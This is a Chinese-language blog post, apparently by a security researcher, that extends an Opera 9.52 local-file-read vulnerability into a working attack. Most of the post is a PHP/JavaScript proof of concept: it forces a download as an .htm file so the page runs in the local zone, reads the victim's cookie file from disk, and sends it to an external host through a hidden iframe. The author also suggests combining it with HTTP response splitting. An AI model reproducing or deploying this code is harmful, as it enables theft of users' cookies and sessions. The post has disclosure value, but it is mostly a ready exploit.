opera9.52使用ajax读取本地文件漏洞进一步利用

作者:空虚浪子心

在前文《opera9.52使用ajax读取本地文件漏洞
中,提到了opera的ajax读取本地文件漏洞。

但是利用方式上,比较狭隘。

很少人会专门下载htm文件到本地,然后打开。

但是动态语言(php,asp等)只要修改header,就可以指定让用户下载。

我们设计如下代码的php文件:

b.php代码

<?
/*
opera 9.52 use ajax read local txt file and upload exp
www.inbreak.net
author [email protected] 2009-1-6
*/
header("Content-Disposition: attachment;filename=kxlzx.htm");
header("Content-type: application/kxlzx");
?>
<iframe id="framekxlzx" width=0 height=0></iframe>
<script>
var xmlHttp;
function createXMLHttp(){
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}
else if(window.ActiveXObject){
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
}

function startRequest(doUrl){

createXMLHttp();

xmlHttp.onreadystatechange = handleStateChange;

xmlHttp.open("GET", doUrl, true);

xmlHttp.send(null);

}

function handleStateChange(){
if (xmlHttp.readyState == 4 ){
var strResponse = "";
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);

}
}

function doMyAjax(user,file)
{
var time = Math.random();

var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;

startRequest(strPer);

}

function framekxlzxPost(text)
{
document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
alert(/ok/);
}

doMyAjax('administrator','[email protected][1].txt');

</script>

其他代码和前文一致,但是多出了

header(“Content-Disposition: attachment;filename=kxlzx.htm”);
header(“Content-type: application/kxlzx”);

这段。

第一行定义http头,下载文件的文件名默认为kxlzx.htm。
因为如果你下载了其他类型的文件,windows会默认让其他类型的文件程序打开。

但是定义了htm文件名后,windows就会让opera打开这个文件。
注意,这里已经下载了文件,所以域属于本地域。

第二行定义了mm文件头(呃。。。),随便写了一个不存在的,opera就会自动下载该文件了。

使用opera打开测试地址:

http://www.inbreak.net/kxlzxtest/testxss/b.php

打开后,效果如图

1

我想,看到这个框,用户不管是点了打开还是点了保存,最终打开的时候,都是使用opera在本地域下打开的。

比较猥琐的利用方法。

更猥琐的方式,大家可以结合HTTP Response Splitting 攻击 ,在http头加上以上两段内容,利用范围更广。

相关日志

发表评论